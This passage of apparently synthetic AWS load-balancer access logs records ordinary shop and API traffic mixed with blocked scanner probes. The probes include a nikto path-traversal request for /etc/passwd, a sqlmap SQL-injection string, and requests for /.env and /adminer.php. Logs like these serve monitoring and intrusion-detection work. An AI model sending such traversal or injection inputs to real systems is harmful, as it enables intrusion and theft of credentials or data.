"Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8c0-2d7218f8da3540b1885acbb0" "staging-alb.example.com" "-" 9 2024-11-01T00:05:04.494081Z "forward" "-" "-" "64.185.242.195:8080" "302" "-" "-" -https 2024-11-01T00:05:06.234667Z prod-web-alb 133.22.210.70:54773 10.0.206.173:443 0.021957 0.378422 0.019624 302 302 652 12101 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8c2-3571c68255fd4c49b81b36c3" "prod-web-alb.example.com" "-" 5 2024-11-01T00:05:06.234667Z "forward" "-" "-" "10.0.206.173:443" "302" "-" "-" -https 2024-11-01T00:05:07.159445Z staging-alb 45.155.205.9:31982 151.59.206.86:80 0.087097 0.621241 0.041667 403 403 537 2367 "POST /server-status HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8c3-a4f27118a0e64038a2ffd1b8" "-" "-" 10 2024-11-01T00:05:07.159445Z "forward" "-" "-" "151.59.206.86:80" "403" "-" "-" -https 2024-11-01T00:05:07.604332Z prod-web-alb 215.248.87.80:21408 10.0.75.120:443 0.044977 0.385878 0.079341 404 404 251 8271 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8c3-2e8b5a8f780146fba51284da" "prod-web-alb.example.com" "-" 8 2024-11-01T00:05:07.604332Z "forward" "-" "-" "10.0.75.120:443" "404" "-" "-" -https 2024-11-01T00:05:08.695833Z prod-web-alb 101.120.225.90:42394 10.0.156.245:443 0.093961 0.078791 0.009676 301 301 60 3114 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8c4-5fbfa474816f4c2ab2199c97" "prod-web-alb.example.com" "-" 8 2024-11-01T00:05:08.695833Z "forward" "-" "-" "10.0.156.245:443" "301" "-" "-" -https 2024-11-01T00:05:09.787661Z prod-api-alb 190.111.149.84:42720 10.0.129.50:443 0.016865 0.302981 0.075513 200 200 212 12215 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8c5-4c45f10d2d0349ef8f8b20c5" "prod-api-alb.example.com" "-" 10 2024-11-01T00:05:09.787661Z "forward" "-" "-" "10.0.129.50:443" "200" "-" "-" -https 2024-11-01T00:05:11.266993Z staging-alb 141.143.204.124:30603 221.114.75.180:443 0.114442 0.241062 0.129263 302 302 163 11146 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8c7-be56d047d273403fbf981bfd" "staging-alb.example.com" "-" 0 2024-11-01T00:05:11.266993Z "forward" "-" "-" "221.114.75.180:443" "302" "-" "-" -https 2024-11-01T00:05:12.141035Z staging-alb 187.45.115.146:22408 156.93.61.181:443 0.077720 0.468505 0.072899 302 302 800 4115 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8c8-24c916bd048140d68ff70ed4" "staging-alb.example.com" "-" 7 2024-11-01T00:05:12.141035Z "forward" "-" "-" "156.93.61.181:443" "302" "-" "-" -http 2024-11-01T00:05:12.593591Z staging-alb 196.144.15.79:56999 229.148.160.149:80 0.095366 0.156283 0.079280 200 200 646 10701 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8c8-c6b0d794c67c4d50929b5837" "staging-alb.example.com" "-" 3 2024-11-01T00:05:12.593591Z "forward" "-" "-" "229.148.160.149:80" "200" "-" "-" -https 2024-11-01T00:05:13.336943Z prod-api-alb 154.40.109.154:34198 10.0.196.65:443 0.064834 0.453961 0.076357 200 200 787 5759 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8c9-00fe892d12fb4dbe9d40a2e1" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:13.336943Z "forward" "-" "-" "10.0.196.65:443" "200" "-" "-" -https 2024-11-01T00:05:14.417695Z prod-web-alb 162.220.198.169:54775 10.0.82.193:443 0.001083 0.116520 0.054295 200 200 233 14929 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8ca-61c448388fcb4f80bf87d121" "prod-web-alb.example.com" "-" 8 2024-11-01T00:05:14.417695Z "forward" "-" "-" "10.0.82.193:443" "200" "-" "-" -http 2024-11-01T00:05:16.372430Z staging-alb 202.126.204.47:40211 141.156.78.238:8080 0.087371 0.382996 0.114068 302 302 427 7828 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8cc-b16de9bbafa04038a66789d3" "staging-alb.example.com" "-" 10 2024-11-01T00:05:16.372430Z "forward" "-" "-" "141.156.78.238:8080" "302" "-" "-" -https 2024-11-01T00:05:18.275666Z prod-web-alb 46.85.47.115:19458 10.0.222.117:443 0.075948 0.476742 0.087739 200 200 281 11160 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8ce-d6716084da7e40e0b933ef8f" "prod-web-alb.example.com" "-" 2 2024-11-01T00:05:18.275666Z "forward" "-" "-" "10.0.222.117:443" "200" "-" "-" -http 2024-11-01T00:05:19.949806Z staging-alb 9.166.189.160:23521 213.109.206.159:8080 0.059289 0.028158 0.039404 200 200 722 10703 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8cf-d37d68da695a47ae8f62d55b" "staging-alb.example.com" "-" 0 2024-11-01T00:05:19.949806Z "forward" "-" "-" "213.109.206.159:8080" "200" "-" "-" -https 2024-11-01T00:05:21.489798Z prod-api-alb 91.112.22.62:63784 10.0.23.84:443 0.004292 0.339641 0.039959 302 302 349 678 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8d1-be659551d3c84df59c9f7644" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:21.489798Z "forward" "-" "-" "10.0.23.84:443" "302" "-" "-" -http 2024-11-01T00:05:23.412289Z staging-alb 66.176.154.138:48057 211.171.135.161:80 0.029833 0.404940 0.070082 200 200 778 7697 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8d3-886dd87b56724947b7eb5844" "staging-alb.example.com" "-" 1 2024-11-01T00:05:23.412289Z "forward" "-" "-" "211.171.135.161:80" "200" "-" "-" -https 2024-11-01T00:05:25.337590Z prod-api-alb 221.64.23.104:48665 10.0.45.105:443 0.038104 0.480383 0.065774 200 200 469 242 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8d5-1409c4c7b64340a594655658" "prod-api-alb.example.com" "-" 10 2024-11-01T00:05:25.337590Z "forward" "-" "-" "10.0.45.105:443" "200" "-" "-" -https 2024-11-01T00:05:27.133161Z staging-alb 216.133.67.22:57315 141.241.251.44:443 0.007624 0.501721 0.116526 302 302 514 9842 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8d7-dd953c91a1c448e7987abab0" "staging-alb.example.com" "-" 10 2024-11-01T00:05:27.133161Z "forward" "-" "-" "141.241.251.44:443" "302" "-" "-" -https 2024-11-01T00:05:27.645127Z prod-api-alb 62.240.221.197:52284 10.0.16.137:443 0.074391 0.152748 0.094842 404 404 752 6232 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8d7-cc322399615745d690d81369" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:27.645127Z "forward" "-" "-" "10.0.16.137:443" "404" "-" "-" -https 2024-11-01T00:05:29.381257Z staging-alb 64.238.196.179:29029 242.61.76.154:8080 0.024832 0.351111 0.018350 404 404 997 12248 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8d9-09cc19b8b1534d1cacf78aa9" "staging-alb.example.com" "-" 10 2024-11-01T00:05:29.381257Z "forward" "-" "-" "242.61.76.154:8080" "404" "-" "-" -https 2024-11-01T00:05:30.473936Z prod-web-alb 243.78.92.74:60663 10.0.106.75:443 0.037540 0.353808 0.048560 301 301 767 11927 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8da-fa7aa0c349b342a998203650" "prod-web-alb.example.com" "-" 7 2024-11-01T00:05:30.473936Z "forward" "-" "-" "10.0.106.75:443" "301" "-" "-" -https 2024-11-01T00:05:31.511859Z prod-web-alb 46.246.10.63:49457 10.0.92.7:443 0.040601 0.117900 0.089065 302 302 866 6234 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8db-5f1735e612d94859a7d4747a" "prod-web-alb.example.com" "-" 4 2024-11-01T00:05:31.511859Z "forward" "-" "-" "10.0.92.7:443" "302" "-" "-" -https 2024-11-01T00:05:33.356078Z prod-api-alb 1.237.138.219:29376 10.0.199.92:443 0.050441 0.041473 0.068905 200 200 798 6314 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8dd-6171e33a65e94bba84a123f8" "prod-api-alb.example.com" "-" 0 2024-11-01T00:05:33.356078Z "forward" "-" "-" "10.0.199.92:443" "200" "-" "-" -https 2024-11-01T00:05:33.951345Z prod-web-alb 11.45.181.210:21223 10.0.11.18:443 0.093901 0.140911 0.043782 200 200 717 12951 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8dd-01300003f01748a7a59cf7e8" "prod-web-alb.example.com" "-" 9 2024-11-01T00:05:33.951345Z "forward" "-" "-" "10.0.11.18:443" "200" "-" "-" -http 2024-11-01T00:05:34.705663Z staging-alb 185.181.2.252:47731 75.242.89.191:8080 0.131306 0.245130 0.021500 403 403 136 8672 "POST /.env HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8de-639ed7e5d8bf442dbb5a3df7" "-" "-" 3 2024-11-01T00:05:34.705663Z "forward" "-" "-" "75.242.89.191:8080" "403" "-" "-" -https 2024-11-01T00:05:35.033048Z prod-web-alb 247.94.43.99:12164 10.0.69.90:443 0.028829 0.035781 0.040450 301 301 620 12272 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8df-a8fe234eeb794449991d72ab" "prod-web-alb.example.com" "-" 4 2024-11-01T00:05:35.033048Z "forward" "-" "-" "10.0.69.90:443" "301" "-" "-" -https 2024-11-01T00:05:35.639143Z prod-web-alb 11.177.84.101:57097 10.0.12.97:443 0.073798 0.061784 0.043063 301 301 105 1631 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8df-8357170f98b34be8a1987b61" "prod-web-alb.example.com" "-" 0 2024-11-01T00:05:35.639143Z "forward" "-" "-" "10.0.12.97:443" "301" "-" "-" -http 2024-11-01T00:05:37.379298Z staging-alb 99.175.95.213:11645 26.15.45.39:80 0.010684 0.295634 0.032351 200 200 152 554 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8e1-04b567c1f373452894e03bed" "staging-alb.example.com" "-" 9 2024-11-01T00:05:37.379298Z "forward" "-" "-" "26.15.45.39:80" "200" "-" "-" -http 2024-11-01T00:05:38.347287Z staging-alb 45.155.205.142:17115 131.187.63.207:80 0.101666 0.331085 0.074940 403 403 514 10564 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8e2-3f2fb4c1fee84adb827fe07a" "-" "-" 8 2024-11-01T00:05:38.347287Z "forward" "-" "-" "131.187.63.207:80" "403" "-" "-" -https 2024-11-01T00:05:40.268219Z prod-api-alb 138.239.161.21:45602 10.0.41.237:443 0.009690 0.255356 0.087154 404 404 882 2098 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8e4-6b141dbdc5854a828159ccbe" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:40.268219Z "forward" "-" "-" "10.0.41.237:443" "404" "-" "-" -https 2024-11-01T00:05:42.161713Z prod-api-alb 24.225.56.53:21760 10.0.150.13:443 0.027660 0.137141 0.031315 301 301 227 14032 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8e6-cbab735a969e4a438b4c24ef" "prod-api-alb.example.com" "-" 2 2024-11-01T00:05:42.161713Z "forward" "-" "-" "10.0.150.13:443" "301" "-" "-" -http 2024-11-01T00:05:44.055773Z staging-alb 185.181.55.98:63346 83.14.39.28:80 0.139050 0.323907 0.105287 403 403 744 6687 "POST /adminer.php HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8e8-6b36d65a394c4d348cb2a871" "-" "-" 8 2024-11-01T00:05:44.055773Z "forward" "-" "-" "83.14.39.28:80" "403" "-" "-" -https 2024-11-01T00:05:44.644298Z staging-alb 56.121.55.217:25752 81.118.5.143:8080 0.112889 0.362337 0.062416 200 200 885 7357 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8e8-640b5216e06c467692968e1c" "staging-alb.example.com" "-" 9 2024-11-01T00:05:44.644298Z "forward" "-" "-" "81.118.5.143:8080" "200" "-" "-" -https 2024-11-01T00:05:46.242184Z staging-alb 126.7.167.21:58309 157.76.93.236:80 0.034895 0.100231 0.063418 301 301 74 2342 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8ea-b4358b4e75694f29af2dfa65" "staging-alb.example.com" "-" 3 2024-11-01T00:05:46.242184Z "forward" "-" "-" "157.76.93.236:80" "301" "-" "-" -https 2024-11-01T00:05:46.456790Z prod-api-alb 151.51.78.228:34647 10.0.193.232:443 0.024220 0.262961 0.096675 404 404 54 6878 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8ea-9a13798c14a44bab970afa8b" "prod-api-alb.example.com" "-" 9 2024-11-01T00:05:46.456790Z "forward" "-" "-" "10.0.193.232:443" "404" "-" "-" -https 2024-11-01T00:05:46.901240Z prod-api-alb 158.150.115.36:18643 10.0.57.111:443 0.080038 0.366826 0.044545 200 200 238 13601 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8ea-1029947ee9d543b5a2b360b0" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:46.901240Z "forward" "-" "-" "10.0.57.111:443" "200" "-" "-" -https 2024-11-01T00:05:47.018872Z prod-web-alb 33.155.124.134:16628 10.0.119.98:443 0.013514 0.348784 0.051611 302 302 631 6357 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8eb-69488a1dda1f4e47b77da1da" "prod-web-alb.example.com" "-" 3 2024-11-01T00:05:47.018872Z "forward" "-" "-" "10.0.119.98:443" "302" "-" "-" -http 2024-11-01T00:05:48.733389Z staging-alb 211.59.60.172:28914 187.224.45.203:80 0.006131 0.640661 0.086908 302 302 771 10978 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8ec-a559c174bcdd4f27ac5f9785" "staging-alb.example.com" "-" 1 2024-11-01T00:05:48.733389Z "forward" "-" "-" "187.224.45.203:80" "302" "-" "-" -http 2024-11-01T00:05:50.511277Z staging-alb 63.5.45.149:54015 0.181.115.81:443 0.124971 0.119598 0.014125 404 404 422 11673 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8ee-2d95b586448e4c09bc0e7ccd" "staging-alb.example.com" "-" 2 2024-11-01T00:05:50.511277Z "forward" "-" "-" "0.181.115.81:443" "404" "-" "-" -https 2024-11-01T00:05:51.726843Z staging-alb 241.40.241.15:46105 167.50.244.90:80 0.098707 0.431870 0.123076 200 200 762 7618 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8ef-d95a7791119745e1be000bab" "staging-alb.example.com" "-" 10 2024-11-01T00:05:51.726843Z "forward" "-" "-" "167.50.244.90:80" "200" "-" "-" -https 2024-11-01T00:05:52.329497Z prod-api-alb 0.37.38.129:23236 10.0.234.126:443 0.002291 0.189515 0.002708 200 200 174 14270 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8f0-2b16fdbdb8574c2bb0f3577c" "prod-api-alb.example.com" "-" 4 2024-11-01T00:05:52.329497Z "forward" "-" "-" "10.0.234.126:443" "200" "-" "-" -https 2024-11-01T00:05:53.980094Z prod-web-alb 25.96.27.66:54660 10.0.112.76:443 0.012176 0.290345 0.044457 200 200 620 1866 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8f1-a059ec1d9aa9494bb120be18" "prod-web-alb.example.com" "-" 2 2024-11-01T00:05:53.980094Z "forward" "-" "-" "10.0.112.76:443" "200" "-" "-" -https 2024-11-01T00:05:55.604514Z prod-web-alb 89.250.105.242:40169 10.0.202.60:443 0.067350 0.407622 0.067085 200 200 693 3816 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8f3-f7171170b14144148e1373a5" "prod-web-alb.example.com" "-" 10 2024-11-01T00:05:55.604514Z "forward" "-" "-" "10.0.202.60:443" "200" "-" "-" -https 2024-11-01T00:05:57.547772Z prod-api-alb 255.54.75.26:15008 10.0.196.71:443 0.067612 0.457778 0.004037 302 302 937 11715 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8f5-b7fe13eb620843c79187d9a3" "prod-api-alb.example.com" "-" 10 2024-11-01T00:05:57.547772Z "forward" "-" "-" "10.0.196.71:443" "302" "-" "-" -https 2024-11-01T00:05:57.977980Z prod-api-alb 73.117.213.17:13980 10.0.171.209:443 0.085284 0.204558 0.072695 200 200 689 2427 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8f5-bee0b7691c6a437092dfa413" "prod-api-alb.example.com" "-" 0 2024-11-01T00:05:57.977980Z "forward" "-" "-" "10.0.171.209:443" "200" "-" "-" -http 2024-11-01T00:05:58.243199Z staging-alb 153.229.138.113:53383 210.122.93.237:8080 0.066174 0.174391 0.056337 301 301 493 6919 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8f6-8891bb26bc3d45b8845a8eb4" "staging-alb.example.com" "-" 10 2024-11-01T00:05:58.243199Z "forward" "-" "-" "210.122.93.237:8080" "301" "-" "-" -https 2024-11-01T00:05:59.754890Z staging-alb 185.181.118.169:52711 149.212.106.112:443 0.058889 0.020528 0.100658 403 403 596 2475 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8f7-e5257de871764cb093889919" "-" "-" 10 2024-11-01T00:05:59.754890Z "forward" "-" "-" "149.212.106.112:443" "403" "-" "-" -https 2024-11-01T00:06:01.146418Z prod-api-alb 231.126.129.98:41445 10.0.101.89:443 0.000819 0.425629 0.057019 200 200 388 13140 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8f9-4800834a743f45389d95f18b" "prod-api-alb.example.com" "-" 